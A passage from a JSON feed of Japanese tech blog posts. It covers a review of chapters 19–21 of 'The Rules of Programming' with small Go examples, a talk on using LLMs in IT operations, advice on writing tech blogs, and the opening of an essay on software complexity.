change」という格言を大規模プロジェクトに適用したものと言えます。私も以前、レガシーシステムの段階的な置き換えプロジェクトで類似のアプローチを採用しましたが、確かにリスクを抑えつつ改修を進められた経験があります。具体例:スタックベースのメモリアロケータ著者は、具体例としてスタックベースのメモリアロケータの改修を挙げています。この例は、低レベルのシステムコンポーネントの改修という点で興味深いものです。スタックベースのアロケーションは、高速で効率的なメモリ管理を可能にしますが、同時に複雑な課題も抱えています。著者が示した問題点、特に異なるスタックコンテキスト間での操作の困難さは、私が以前関わった分散システムのメモリ管理でも直面した課題です。この種の問題は、単純なリファクタリングでは解決が難しく、システム全体の再設計が必要になることがあります。並行リワークの実践著者は、並行リワークの実践方法を段階的に説明しています。特に印象的だったのは、以下の点です:新旧のシステムを切り替えるためのグローバルフラグの導入アダプタクラスを使用した新旧システムの橋渡し段階的な移行と継続的なテストこのアプローチは、リスクを最小限に抑えつつ大規模な変更を行うための優れた戦略だと感じました。私自身、似たようなアプローチを採用してデータベースシステムの移行を行った経験がありますが、確かに安全性と柔軟性の両立に効果的でした。並行リワークの適用タイミング著者は、並行リワークが常に最適な解決策ではないことも指摘しています。この戦略はオーバーヘッドを伴うため、適用するタイミングと状況を慎重に見極める必要があります。私見では、以下のような状況で並行リワークが特に有効だと考えます:長期的な大規模リファクタリングプロジェクトクリティカルなシステムコンポーネントの置き換え新旧システム間の段階的な移行が必要な場合一方で、小規模な変更や短期的なプロジェクトでは、従来のブランチモデルの方が適している場合もあります。まとめ「Rework in Parallel」の原則は、大規模なソフトウェア開発プロジェクトにおいて重要な戦略を提供しています。この手法を適切に適用することで、リスクを最小限に抑えつつ、大規模な改修や機能追加を実現できます。著者の提案するアプローチは、現代の開発環境、特にマイクロサービスアーキテクチャやクラウドネイティブ開発において有用です。例えば、新旧のサービスを並行して稼働させ、トラフィックを段階的に移行するような戦略は、この原則の自然な拡張と言えるでしょう。しかし、この手法を適用する際は、プロジェクトの規模や性質、チームの状況などを十分に考慮する必要があります。また、並行リワークを成功させるためには、強力な自動化テストやCI/CDパイプライン、モニタリングシステムなどの支援が不可欠です。個人的な経験を踏まえると、この手法は特に長期的な保守性と拡張性の向上に大きく貢献します。短期的には追加の労力が必要になりますが、長期的にはテクニカルデットの削減とシステムの健全性維持に大きく寄与すると確信しています。最後に、この章から学んだ最も重要な教訓は、大規模な変更を行う際は、リスクを分散させ、段階的にアプローチすることの重要性です。これは、日々の開発作業から大規模なシステム設計まで、あらゆる場面で活用できる貴重な思考法だと言えるでしょう。今後のプロジェクトでは、この原則を念頭に置きつつ、より安全で効果的な開発戦略を立案していきたいと考えています。Rule 20. Do the Math第20章「Do the Math」は、プログラミングにおける数学的思考の重要性を強調しています。著者は、多くのプログラミングの決定が定性的なものである一方で、数学的な分析が有効な場面も多々あることを指摘しています。この章を通じて、著者は単純な計算が問題解決のアプローチの妥当性を検証する上で、いかに重要であるかを具体的な例を挙げながら説明しています。問題解決のための「アルゴリズム×数学」が基礎からしっかり身につく本作者:米田 優峻技術評論社Amazon自動化の判断著者は、タスクの自動化を例に挙げ、数学的思考の重要性を説明しています。自動化するかどうかの判断は、単純な数学の問題に帰着します。コードを書くのにかかる時間と、手動でタスクを繰り返す時間を比較し、前者の方が短ければ自動化する価値があるというわけです。この考え方は一見当たり前に思えますが、実際の開発現場ではこの単純な計算が軽視されがちです。私自身、過去のプロジェクトで、チームメンバーが十分な検討もなしに自動化に走り、結果として無駄な工数を費やしてしまった経験があります。著者の指摘する「自動化の判断」は、特にデプロイメントプロセスやテスト自動化の文脈で重要です。例えば、CI/CDパイプラインの構築を検討する際、その構築コストと、手動デプロイメントにかかる時間を比較検討することが重要です。ただし、この計算には定量化しづらい要素(例:人的ミスの削減、チームの士気向上)も含まれるため、純粋な数学だけでなく、総合的な判断が必要になります。ハードリミットの重要性著者は、問題空間や解決策におけるハードリミット(固定的な制約)の重要性を強調しています。ゲーム開発を例に、メモリ容量やネットワーク帯域幅などの制約が、設計プロセスにおいて重要な役割を果たすことを説明しています。この考え方は、ゲーム開発に限らず、多くのソフトウェア開発プロジェクトに適用できます。例えば、マイクロサービスアーキテクチャを採用する際、各サービスのリソース制限(CPU、メモリ、ネットワーク帯域)を明確に定義し、それに基づいてシステム設計を行うことが重要です。著者の提案する「ハードリミットの設定」は、特にパフォーマンスクリティカルなシステムの設計において有効です。例えば、高頻度取引システムの設計では、レイテンシの上限を明確に定義し、それを満たすようなアーキテクチャを検討することが重要です。数学の変化への対応著者は、要件の変更に伴い、数学的な計算も再評価する必要があることを指摘しています。これは、アジャイル開発の文脈で特に重要です。要件が頻繁に変更される環境では、定期的に数学的な再評価を行い、アプローチの妥当性を確認することが重要です。例えば、スケーラビリティを考慮したシステム設計において、想定ユーザー数や処理データ量が変更された場合、それに応じてインフラストラクチャのキャパシティプランニングを再計算する必要があります。定量的分析から定性的判断へ著者は、純粋な数学的アプローチだけでなく、定性的な要素も考慮することの重要性を強調しています。例えば、タスクの自動化において、時間の節約だけでなく、エラーの削減やチームの満足度向上といった定性的な要素も考慮に入れる必要があります。この考え方は、技術的負債の管理にも適用できます。リファクタリングの判断において、純粋なコスト計算だけでなく、コードの可読性向上やメンテナンス性の改善といった定性的な要素も考慮に入れる必要があります。まとめ「Do the Math」の原則は、ソフトウェア開発における意思決定プロセスに数学的思考を取り入れることの重要性を強調しています。この原則は、特に大規模で複雑なシステムの設計や、リソース制約のある環境での開発において有用です。著者の提案するアプローチは、現代の開発環境、特にクラウドネイティブ開発やマイクロサービスアーキテクチャにおいて重要です。リソースの最適化、コストの最小化、パフォーマンスの最大化といった課題に直面する際、数学的な分析は不可欠です。しかし、純粋な数学だけでなく、定性的な要素も考慮に入れることの重要性も忘れてはいけません。ソフトウェア開発は単なる数字の問題ではなく、人間の創造性や協力関係が重要な役割を果たす分野です。私自身の経験を踏まえると、この原則は特にパフォーマンスチューニングやシステム設計の場面で有用です。例えば、データベースのインデックス設計やキャッシュ戦略の検討において、数学的な分析は不可欠でした。同時に、チームの習熟度や保守性といった定性的な要素も考慮に入れることで、より良い意思決定ができました。最後に、この章から学んだ最も重要な教訓は、数学的思考と定性的判断のバランスを取ることの重要性です。純粋な数学だけでなく、プロジェクトの文脈や長期的な影響も考慮に入れた総合的な判断が、成功するソフトウェア開発の鍵となります。今後のプロジェクトでは、この原則を念頭に置きつつ、より良い意思決定のための枠組みを作っていきたいと考えています。Rule 21. Sometimes You Just Need to Hammer the Nails第21章「Sometimes You Just Need to Hammer the Nails」は、プログラミングにおける地道な作業の重要性を強調しています。著者は、創造的で知的な挑戦が多いプログラミングの世界でも、時には単純で退屈な作業が必要不可欠であることを説いています。この章を通じて、著者は「面倒な作業を避けない」ことの重要性と、それがソフトウェア開発プロジェクト全体にどのような影響を与えるかを明確に示しています。地道力[新版] 目先の追求だけでは、成功も幸せも得られない!作者:國分 利治PHP研究所Amazon本書の最後にこのような泥臭い作業の重要性を説くルールを紹介しているのは、この書籍の優れた点の一つだと言えるでしょう。この章は、プログラミングの現実的な側面を忘れずに、理想と実践のバランスを取ることの大切さを読者に印象づけています。プログラマーの三大美徳との関連この章の内容は、かつてよく知られていた「プログラマーの三大美徳」と密接に関連しています。これらの美徳は「怠慢」「短気」「傲慢」であり、一見ネガティブに聞こえますが、実際には優れたプログラマーの特質を表しています。怠慢:全体の労力を減らすために手間を惜しまない気質。例えば、繰り返し作業を自動化したり、再利用可能なコンポーネントを作成したりすることで、長期的な効率を向上させます。短気:コンピューターの非効率さに対する怒り。この特質は、現在の問題だけでなく、将来起こりうる問題も予測して対応しようとする姿勢につながります。傲慢:自分のコードに対する高い誇りと責任感。これは、保守性や可読性、柔軟性の高いコードを書こうとする姿勢に現れます。これらの美徳は、「Sometimes You Just Need to Hammer the Nails」の原則と補完的な関係にあります。地道な作業を避けないことは、長期的には「怠慢」な姿勢(良い意味で)につながり、「短気」な気質は将来の問題を予見して対処することを促します。そして、「傲慢」さは、たとえ退屈な作業であっても、高品質なコードを維持しようとする態度を支えます。地道な作業の必要性著者は、プログラミングの仕事には避けられない退屈な作業があることを指摘しています。これらの作業は魅力的ではなく、多くの開発者が積極的に取り組みたがらないものです。しかし、著者はこれらの作業を避けることの危険性を強調しています。大規模なリファクタリングプロジェクトでは、コードベース全体にわたる変更が必要で、その多くが単純で退屈な作業となることがあります。チームの中には、この作業を後回しにしたがる人もいますが、結果的にそれが技術的負債となり、プロジェクトの後半で大きな問題となる可能性があります。著者の指摘する「地道な作業を避けない」という原則は、特にレガシーシステムの保守や大規模なアーキテクチャ変更において重要です。例えば、古い認証システムから新しいOAuth2.0ベースのシステムへの移行を行う際、数百のAPIエンドポイントを一つずつ更新していく必要があるかもしれません。この作業は単調で退屈ですが、避けて通ることはできません。新しい引数の追加著者は、関数に新しい引数を追加する場合の例を挙げています。この状況では、既存のコードベース全体を更新する必要がありますが、多くの開発者はこの作業を避けたがります。著者は、デフォルト引数やオーバーロードを使用して作業を回避することの危険性を指摘しています。Golangの場合、デフォルト引数やオーバーロードがサポートされていないため、関数のシグネチャを変更する際は特に注意が必要です。例えば:// 変更前func findNearbyCharacters(point Point, maxDistance float64) []Character { // 実装}// 変更後func findNearbyCharacters(point Point, maxDistance float64, excludeCharacters []Character) []Character { // 実装}この変更は単純ですが、大規模なコードベースでは膨大な時間がかかる可能性があります。しかし、著者の指摘通り、この作業を避けることは長期的には問題を引き起こす可能性が高いです。バグの修正と波及効果著者は、一つのバグを修正した際に、同様のバグが他の箇所にも存在する可能性を指摘しています。これは重要な指摘で、セキュリティ問題などで特に注意が必要です。例えば、データベースクエリのSQLインジェクション脆弱性を発見した場合、同様の脆弱性が他の箇所にも存在する可能性を考え、コードベース全体を調査する必要があります。この調査と修正作業は退屈で時間がかかりますが、セキュリティ上重要です。自動化の誘惑著者は、退屈な作業に直面したときに、多くのプログラマーが自動化を試みる傾向があることを指摘しています。自動化は確かに強力ですが、それが本当に必要かどうかを冷静に判断することが重要です。例えば、コードフォーマットの問題に直面したとき、すぐにカスタムツールの開発に飛びつくのではなく、まず既存のツール(Goならgofmtやgoimports)を活用することを検討すべきです。ファイルサイズの管理著者は、ソースファイルが時間とともに大きくなっていく問題に言及しています。これは多くの開発者が経験する問題で、巨大なファイルはコードの理解を難しくします。Goの場合、パッケージレベルでの分割やインターフェースを活用したモジュール化が効果的な解決策となります。例えば:// main.gopackage mainimport ( \"myapp/user\" \"myapp/order\")func main() { // メイン処理}// user/user.gopackage usertype Service struct { // ユーザー関連の処理}// order/order.gopackage ordertype Service struct { // 注文関連の処理}このようなアプローチは、コードの管理を容易にし、チームの生産性を向上させます。まとめ「Sometimes You Just Need to Hammer the Nails」の原則は、ソフトウェア開発における地道な作業の重要性を強調しています。この原則は、特に大規模で長期的なプロジェクトにおいて重要です。プログラマーの三大美徳(怠慢、短気、傲慢)と組み合わせて考えると、この原則の重要性がより明確になります。地道な作業を避けないことは、長期的には効率を向上させ(怠慢)、将来の問題を予防し(短気)、高品質なコードを維持する(傲慢)ことにつながります。著者の提案するアプローチは、現代の開発環境、特にアジャイル開発やデブオプスの文脈で重要です。継続的インテグレーションや継続的デリバリーの実践において、小さな改善や修正を積み重ねることの重要性は増しています。しかし、ただ単に退屈な作業をこなすだけでは不十分です。重要なのは、これらの作業がプロジェクト全体にどのような影響を与えるかを理解し、戦略的に取り組むことです。例えば、レガシーコードの段階的な改善や、技術的負債の計画的な返済などが考えられます。この原則は特にチーム全体の文化と密接に関連しています。「退屈な作業も重要だ」という認識をチーム全体で共有し、それを評価する文化を築くことが、長期的には大きな差を生みます。例えば、週に1日を「技術的負債の返済日」として設定し、チーム全体でリファクタリングや文書化、テストカバレッジの向上などに取り組むことで、長期的にはコードの品質向上と開発速度の維持につながります。最後に、この章から学んだ最も重要な教訓は、短期的な不快感と長期的な利益のバランスを取ることの重要性です。退屈な作業を避けることで得られる一時的な快感よりも、それを適切に行うことで得られる長期的な利益の方がはるかに大きいのです。今後のプロジェクトでは、この原則を念頭に置きつつ、チーム全体で地道な作業の重要性を認識し、それを効果的に進める方法を模索していくことが重要です。おわりに本書は、長年のゲーム開発経験から抽出された貴重な知恵の宝庫です。本書で提示された21のルールは、プログラミングの技術的側面だけでなく、ソフトウェア開発のプロセス全体に適用できる普遍的な価値を持っています。しかし、著者が強調しているように、これらのルールを鵜呑みにするのではなく、批判的に考え、自身の環境に適応させることが重要です。技術の進歩や開発手法の変化に伴い、プログラミングの原則も進化していく必要があります。本書を読んで、私は自身のコーディング習慣や設計アプローチを見直すきっかけを得ました。同時に、チーム全体でこれらの原則について議論し、共通の理解を築くことの重要性を再認識しました。最後に、本書はプログラミングの技術書であると同時に、ソフトウェア開発の哲学書でもあります。単に「どのようにコードを書くか」だけでなく、「なぜそのようにコードを書くべきか」について深く考えさせられます。この本は、経験レベルに関わらず、すべてのプログラマーにとって価値ある一冊だと確信しています。今後も、この本で学んだ原則を実践しながら、自身の経験を通じてさらに理解を深めていきたいと思います。エンジニアはソフトスキルよりもハードスキルを磨くべきであり、昔読んだリーダブルコードばかり紹介せずに、新しい知見を学び続けることが重要です。常に進化する技術に対応するため、新しい知識を積極的に吸収していく姿勢が必要不可欠だと考えています。みなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","isoDate":"2024-09-15T06:17:38.000Z","dateMiliSeconds":1726381058000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Cloud Operator Days Tokyo 2024 でLLMで運用を改善する時の基本のキを話してきた #CODT2024","link":"https://syu-m-5151.hatenablog.com/entry/2024/09/06/154607","contentSnippet":"はじめにこんにちは。今日、Cloud Operator Days 2024 クロージングイベントにて「2024年版 運用者たちのLLM」というタイトルで登壇させていただきました。この記事では、発表の内容と、それに対する反響、そして個人的な振り返りを共有したいと思います。https://cloudopsdays.com/ より引用発表資料 speakerdeck.com発表の概要今回の発表では、LLM(大規模言語モデル)が運用にもたらす可能性と課題について探りました。主に以下のポイントに焦点を当てて議論を展開しました。AIOpsの文脈におけるLLMの位置づけLLMによる運用タスクの改善インシデント対応ドキュメンテーションコード分析LLM活用における課題「幻覚」問題不完全性とバイアス効果的なLLM活用のための戦略適切な利用方法プロンプトエンジニアリングの重要性発表タイトルを「2024年版 運用者たちのLLM」としたのには、理由があります。AIOpsが流行した際に見られた議論が、LLMについても繰り返されているなぁと感じたからです。仕方ないのですが新しい技術が登場するたびに、その可能性と課題について同様の議論が繰り返されます。この観察から、LLMの運用への適用についても、過去の教訓を活かしつつ、冷静に評価することの重要性を強調したいと考えました。技術の進化は確かに速いですが、基本的な課題や考慮すべき点は、意外にも変わらないことが多いのです。そのため、この発表ではLLMの新しい部分を認識しつつも、過去の類似技術の導入事例から学び、より成熟したアプローチで運用に活かす方法を提案することを目指しました。LLMがもたらす可能性LLMは、自然言語処理能力と豊富な知識ベースを活かして、運用の様々な側面を改善する可能性を秘めています。例えば:インシデント対応:過去の類似事例の迅速な検索と解決策の提案ドキュメンテーション:自動生成や更新、整理による効率化コード分析:バグの検出、最適化の提案、セキュリティ脆弱性の指摘これらでは、運用チームの生産性向上と、人間のエラーを減少させることが期待できます。課題と注意点一方で、運用におけるLLMにはいくつかの重要な課題があります。「幻覚」問題:事実と異なる情報を自信を持って提示してしまう不完全性:最新の情報や専門的な知識が不足している可能性バイアス:学習データに含まれるバイアスが出力に反映されるこれらの課題に対処するためには、LLMの出力を常に人間が検証し、適切に管理することが重要です。効果的な活用に向けてLLMを効果的に活用するためには、以下のアプローチが有効です。明確な利用ガイドラインの策定実行能力を奪っておくプロンプトエンジニアリングのスキル向上人間とLLMの協調作業モデルの確立継続的な学習と改善のプロセス導入反響と今後の展望発表後、参加者から興味深いフィードバックをいただきました。特に、LLMの実際の運用現場での活用事例や、課題への具体的な対処法に関する質問が多く寄せられました。これらの反応から、運用におけるLLM活用はまだ発展途上であり、多くの企業や組織、個人がまだまだ試行錯誤の段階にあることがわかりました。今後は、より具体的な事例研究や、ベストプラクティスの共有が求められると感じています。さいごにLLMは確かに素晴らしい技術ですが、万能ではありません。現段階だと人間の専門知識や判断力と組み合わせることで、初めてその真価を発揮します。今後も、LLMと運用の関係性について研究を続け、自動化の楽しさを紹介していきたいと考えています(ホンマか??)。","isoDate":"2024-09-06T06:46:07.000Z","dateMiliSeconds":1725605167000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"2024年版 運用者たちのLLM","link":"https://speakerdeck.com/nwiizo/2024nian-ban-yun-yong-zhe-tatinollm","contentSnippet":"Cloud Operator Days 2024 クロージングイベント\rhttps://cloudopsdays.com/closing/\r\rとても、端的に言うと「プロンプトエンジニアリングをしよう」って話。\rこの発表資料は、LLM(大規模言語モデル)によるIT運用の可能性と課題を探っています。AIOpsの概念を基に、LLMがインシデント対応、ドキュメンテーション、コード分析などの運用タスクをどのように改善できるかを説明しています。同時に、LLMの「幻覚」や不完全性といった課題も指摘し、適切な利用方法やプロンプトエンジニアリングの重要性を強調しています。\r\r登壇時ブログ\rhttps://syu-m-5151.hatenablog.com/entry/2024/09/06/154607","isoDate":"2024-09-06T04:00:00.000Z","dateMiliSeconds":1725595200000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"テックブログを書く時にやっていること","link":"https://syu-m-5151.hatenablog.com/entry/2024/08/26/210112","contentSnippet":"はじめにテックブログの執筆プロセスは、エンジニアの経験や知識を活用し、多様な情報源から価値ある内容を抽出し、読者にとって有益な形に整理する作業です。この過程では、自身の業務経験はもちろん、他のブログ記事や技術書籍など、幅広い情報を取り入れ、それらを咀嚼し、独自の視点で再構築します。この時に困難は伴いますが、同時に自身の考えを整理し、新たなアイデアを生み出す貴重な機会となります。 多くのエンジニアと同様に、私もブログのネタが自然に湧き出てくるタイプではありません。そこで、試行錯誤を重ねて確立した、効果的なブログ執筆方法を皆さんと共有したいと思います。この方法は、情報の収集から記事の執筆まで、段階的なアプローチを採用しています。各ステップを意識的に踏むことで、自分として納得できる記事を継続的に生み出すことが可能になります。以下に、私が日々実践しているプロセスを詳しく説明していきます。1. データ収集まずは、様々な源から幅広く情報を集めることから始めます。そして、実際に手を動かして経験を積みます。これらはすべて、潜在的なブログのネタになります。日々の業務で気づいたことをメモするデバッグ中に遭遇した興味深い問題や、その解決プロセスを詳細にメモしましょう。これらの経験は、他のエンジニアにとって貴重な学びとなる可能性があります。Slack、Notion、あるいは物理的なノートなど、自分に合った方法でメモを取る習慣をつけることが重要です。本を読みまくる技術書を定期的に読むことで、新しい知識や視点を得ることができます。読んだ本の要点や自分の見解をまとめることで、読者に価値ある情報を提供できます。月に1-2冊のペースで読書し、その内容を整理することをおすすめします。同僚との会話を大切にする昼食時や休憩時間の雑談でも、重要なトピックが浮上することがあります。例えば、マイクロサービスの課題について話し合った内容を、より深く掘り下げてブログ記事にすることができます。会話の中で出てきた興味深いポイントをメモする習慣をつけましょう。業界のニュースや記事を読む毎日30分程度、技術ブログやニュースをチェックする時間を設けましょう。最新のトレンドや技術動向をまとめた記事を定期的(例えば週1回)に書くことで、自身の知識も整理でき、読者にも価値を提供できます。実際に手を動かして試してみる興味のある新しいフレームワークやツールを使って、小規模なプロジェクトを作成してみましょう。この学習過程と気づきをステップバイステップで記事にまとめることで、読者に実践的な情報を提供できます。週末や空き時間を利用して、定期的に新しい技術に触れる機会を作りましょう。個人プロジェクトで開発する最近話題のツールや技術を自分のプロジェクトに組み込んでみましょう。この統合プロセスを詳細に記録し、遭遇した課題や解決策、得られた知見をブログ記事にまとめることで、読者に実用的な情報を提供できます。月に1つは新しい技術を個人プロジェクトに取り入れる目標を立てるのも良いでしょう。コードリーディングを習慣化するオープンソースのプロジェクトのコードを定期的に読むことで、優れた設計パターンや実装テクニックを学ぶことができます。興味深い発見があれば、それを解説する記事を書いてみましょう。週に1回、30分程度の時間をコードリーディングに充てることをおすすめします。2. データを創発させる集めたデータを基に新しい関連性を見出す創造のプロセスは、ブログ記事作成の核心部分です。既存の要素を新しく組み合わせることで、独自の洞察を生み出します。異なる分野の知識を結びつける人文科学や自然科学など、エンジニアリング以外の分野の本や記事を読むことで、新しい視点を得ることができます。例えば、心理学の概念をソフトウェアアーキテクチャの設計に応用するなど、意外な関連性を探求し、ブログ記事のユニークなテーマとして扱いましょう。月に1冊は異分野の本を読むことをおすすめします。原理原則に立ち返る様々なフレームワークや技術を比較分析する中で、それらの根底にある共通の設計原則や思想を見出すことができます。これらの普遍的な原則をブログの核心テーマとして扱うことで、読者に深い洞察を提供できます。技術書を読む際は、表面的な機能だけでなく、その背後にある設計思想にも注目しましょう。問題を抽象化するチームで直面した具体的な問題を一般化し、より広い文脈で捉え直すことで、多くのプロジェクトに適用できる普遍的な課題が見えてくることがあります。この抽象化された問題解決アプローチをブログにまとめることで、様々な状況に応用可能な知見を読者に提供できます。問題に直面したときは、「これは他のどんな場面でも起こりうるか?」と自問する習慣をつけましょう。技術のクロスオーバーを探す異なる技術領域や手法を組み合わせることで、新しいアイデアが生まれることがあります。例えば、機械学習の手法をWebアプリケーション開発に適用するなど、異分野の融合を探求し、そのアイデアをブログで提案してみましょう。週に1回、「今取り組んでいる技術は、他のどの分野と組み合わせられるか」を考える時間を設けるのも良いでしょう。3. 放置するこのステップが意外と大事です。わざとブログのアイデアを放置することで、無意識のうちに考えが熟成されます。完全に忘れるブログのアイデアをメモした後、意図的に1週間程度そのことを考えないようにします。この期間が経過した後に再度内容を見直すと、新鮮な目で客観的に評価できることがあります。Notionやトレロなどのツールを使って、アイデアを整理し、定期的に(例えば週1回)見直す時間を設けるのが効果的です。全く違う活動に没頭する技術的な思考から離れ、全く異なる活動に取り組むことで、思わぬインスピレーションを得ることがあります。例えば、自然の中でのアクティビティや芸術活動などに時間を費やしてみましょう。週末や休暇を利用して、定期的に技術以外の活動に没頭する時間を作ることをおすすめします。眠りにつく直前まで考え、そして手放す就寝前にブログの構成や内容について考えを巡らせ、その後意識的に手放すことで、睡眠中に無意識的な処理が行われることがあります。翌朝、新たな視点やアイデアが浮かんでくることも少なくありません。寝る前の15分間を「ブログアイデアタイム」として設定し、思考をノートに書き出してから眠るという習慣をつけてみましょう。4. もう一度考え続けてひらめきを待つアイデアを温めた後、再び記事の構想に取り組む時間です。この段階では、長期的な視点を持ちつつ、具体的な記事の形を模索します。過去のメモを読み返す1ヶ月以上前に書いたアウトラインや断片的なメモを見直すことで、当初気づかなかった重要なポイントが浮かび上がってくることがあります。これらの新たな気づきを記事の核心部分として活用しましょう。月に1回、過去のメモを整理し、再評価する時間を設けることをおすすめします。技術の未来を想像する現在の技術トレンドを分析し、5年後、10年後の技術の姿を想像してみましょう。この長期的な視点から現在の技術の使い方を解説することで、読者により価値のある洞察を提供できます。四半期に1回程度、技術の将来予測に関する記事を書くことを目標にしてみてください。複数の記事案を比較する同じテーマについて、異なるアプローチや切り口で3つ程度の記事案を考えてみましょう。それぞれの特徴を比較し、最も読者の役に立つと思われる方向性を選択します。この過程で、当初は思いもよらなかった新しい視点が生まれることもあります。記事を書く前に、必ず複数の構成案を作成し、それぞれのメリット・デメリットを評価する習慣をつけましょう。他の記事との差別化を考える同じトピックに関する既存の記事を徹底的に調査し、自分の経験や知識を活かして、どのような新しい視点や情報を提供できるかを考えます。他の記事にはない独自の切り口や、より深い洞察を加えることで、記事の価値を高めることができます。記事を書く前に、必ず競合する記事を5つ以上読み、それぞれの特徴をメモし、自分の記事の差別化ポイントを明確にしましょう。5. 出てきたアイデアの使い方を考えるいよいよ記事の具体的な構成を考える段階です。技術的な正確さを保ちつつ、読みやすく、実用的な内容にすることが重要です。同時に、記事の質を高め、読者との信頼関係を構築するために、以下の点に特に注意を払ってください。導入部分を工夫する読者の興味を引くために、記事の冒頭で技術が解決できる身近な問題や、その技術がもたらす具体的なメリットを提示します。例えば、「この技術を使うことで開発時間を30%削減できた」といった具体的な数字や、実際のユースケースを紹介することで、読者の関心を高めることができます。コードと説明のバランスを取る技術記事では、コード例と説明文のバランスが重要です。核となる概念を簡潔に説明した後、実際のコード例を示し、そのコードの各部分の詳細な解説を加えます。コードブロックは適度な長さに保ち、長すぎる場合は分割して説明を挟むことで、読者の理解を助けます。自分の経験を織り交ぜる技術の解説に加えて、その技術を実際のプロジェクトで使用した際の経験談を盛り込みます。直面した課題、試行錯誤のプロセス、最終的な解決策など、具体的なストーリーを共有することで、読者にとってより実践的で価値ある情報を提供できます。読者の疑問を予測する自分がその技術を学んだ時に抱いた疑問や、同僚から受けた質問などをリストアップし、それぞれに答える形で記事を構成します。FAQセクションを設けたり、「よくある間違い」といった項目を追加することで、読者の潜在的な疑問に先回りして答えることができます。根拠を示し、判断基準を明確にし、批判的思考を持つ強い主張や比較を行う際は、その根拠と判断基準を明確に示してください。「この方法が最善である」や「AよりBの方が優れている」と述べる場合、なぜそう考えるのか、どのような観点(パフォーマンス、可読性、学習曲線など)で判断したのかを詳細に説明してください。同時に、自説の限界や適用範囲も認識し、「この方法はすべての状況で最適というわけではありません」といった但し書きを加えることで、読者の批判的思考を促します。また、個人の意見や経験に基づく主張と、客観的な事実や統計データを明確に区別してください。「私の経験では...」や「一般的に言われているのは...」といった前置きを適切に使用することで、読者は情報の性質を正確に理解できます。まとめと次のステップを示す記事の最後には、主要ポイントの簡潔なまとめを提供するだけでなく、読者が次に取るべきアクションを具体的に提案します。例えば、その技術をさらに深く学ぶためのリソース、関連する技術やツール、次に挑戦すべき課題などを提示することで、読者の継続的な学習を促進します。さいごにテックブログの執筆は、私たちエンジニアにとって、単なる記事作成以上の意味を持つ活動のはずです。日々の経験や学びを整理し、深め、そして誰かと共有する機会として捉えることができます。完璧を目指すあまり執筆を躊躇するよりも、まずは自分自身が興味を持つテーマから書き始めることが大切だと私は考えています。 このアプローチは、読む人の役に立つかもしれないという期待とともに、執筆者自身の成長にもつながります。ブログを書く過程で、自分の考えを整理し、新たな視点を得られることもあります。それぞれのエンジニアの経験や視点は異なりますから、自分の言葉で記事を綴ることで、誰かにとって新しい気づきを提供できるかもしれません。日々の仕事や学習で得た知識や経験をブログにすることで、自分自身の中で新たな発見があったり、個人的な成長を感じたりすることがあります。また、読んでくれた人からのコメントや反応が、さらなる学びのきっかけになることもあります。最後に、読んでくださっている方々に伝えたいのは、あなたの経験や知識にも必ず誰かにとっての価値があるということです。 小さなことでも、誰かにとっては新しい発見や学びのきっかけになるかもしれません。ためらわずに書いてみることをお勧めします。テックブログの執筆を通じて、私たち一人一人が少しずつ学び、成長できたらいいなと思っています。あなたの書いた記事が、誰かの助けになるかもしれません。今日から始めてみるのはいかがでしょうか。各プロセスで生成AIを利用する際の注意点とか書こうと思ったんですけどもう良い時間なのでご飯に行きます。参考文献と言うか読んだ方がいい本この本は、テックブログのネタに困ったときというかアイデアが出ない時の救世主です。私はこの本から多大な影響を受けており、このブログで紹介した5つのステップもここから着想を得て実践しています。著者の主張する「新しいアイデアは既存の要素の新しい組み合わせ」という考え方は、肩の荷が下りるので本当に大切です(いつもはアイディアって言ってるんですけど今回はこの本に敬意を込めてアイデアとしてます)。アイデアのつくり方作者:ジェームス W.ヤングCCCメディアハウスAmazonエンジニアとして文章を書くには「考える力」が不可欠です。この本は、その力を養うのに最適な一冊です。新版 思考の整理学 (ちくま文庫)作者:外山滋比古筑摩書房Amazonみなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","isoDate":"2024-08-26T12:01:12.000Z","dateMiliSeconds":1724673672000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"この世の中に溢れているので自分が発言する必要はないが「ソフトウェアは認知の限界まで複雑になる」を自分なりに再考する","link":"https://syu-m-5151.hatenablog.com/entry/2024/08/25/142213","contentSnippet":"人間が何もしないと病気になるのと同じように、ソフトウェアも何もしないと複雑になる。はじめにソフトウェア開発の世界に飛び込んでから、「ソフトウェアは認知の限界まで複雑になる」という言葉を耳にしたとき、正直なところ、「ほへー」って思いながら何も理解していませんでした。しかし、大規模なシステムに携わるようになって、その言葉の重みを身をもって感じるようになりました。内部構造や相互作用が複雑化し、全体を把握するのが難しくなっていく。それは挑戦であると同時に、私たち開発者の存在意義を問いかけるものでもあります。A Philosophy of Software Design, 2nd Edition (English Edition)作者:Ousterhout, John K. Amazonこの複雑性との闘いは、時に苦しいものです。でも、それを乗り越えたときの喜びは何物にも代えがたい。私たちの理解力の限界に挑戦し続けることで、成長の機会を得られるのかもしれません。また、絶対的な正解が存在しないことも認識することが重要です。それぞれの組織や開発チームにとっての最適解は異なるため、継続的に自分たちの状況を評価し、最適なアプローチを探り続ける必要があります。この過程では、チームメンバー間のオープンなコミュニケーションと実験的な姿勢が鍵となります。時には失敗することもありますが、そこから学びを得て前進することで、長期的には組織全体の能力向上につながるでしょう。 speakerdeck.comなお、この概念は広く知られており、多くの議論がなされています。しかし、自分なりに再考することには大きな意義があります。なぜなら、個人の経験や視点を通じて理解を深めることで、この普遍的な課題に対する新たな洞察や独自のアプローチを見出せる可能性があるからです。また、自分の言葉で表現し直すことで、チーム内での議論を促進し、共通理解を深める機会にもなります。さらに、技術の進化や開発手法の変化に伴い、この概念の意味や影響も変化しているかもしれません。そのため、現代のコンテキストにおいてこの概念を再評価することは、ソフトウェア開発の未来を考える上で重要なのです。正直なところ、このブログに書いていることは完全に自己満足かもしれません。しかし、この自己満足的な行為を通じて、私自身の理解を深め、そして少しでも他の人の考えるきっかけになれば、それはそれで価値があるのではないでしょうか。個人的には「Good Code, Bad Code ~持続可能な開発のためのソフトウェアエンジニア的思考」や「ルールズ・オブ・プログラミング 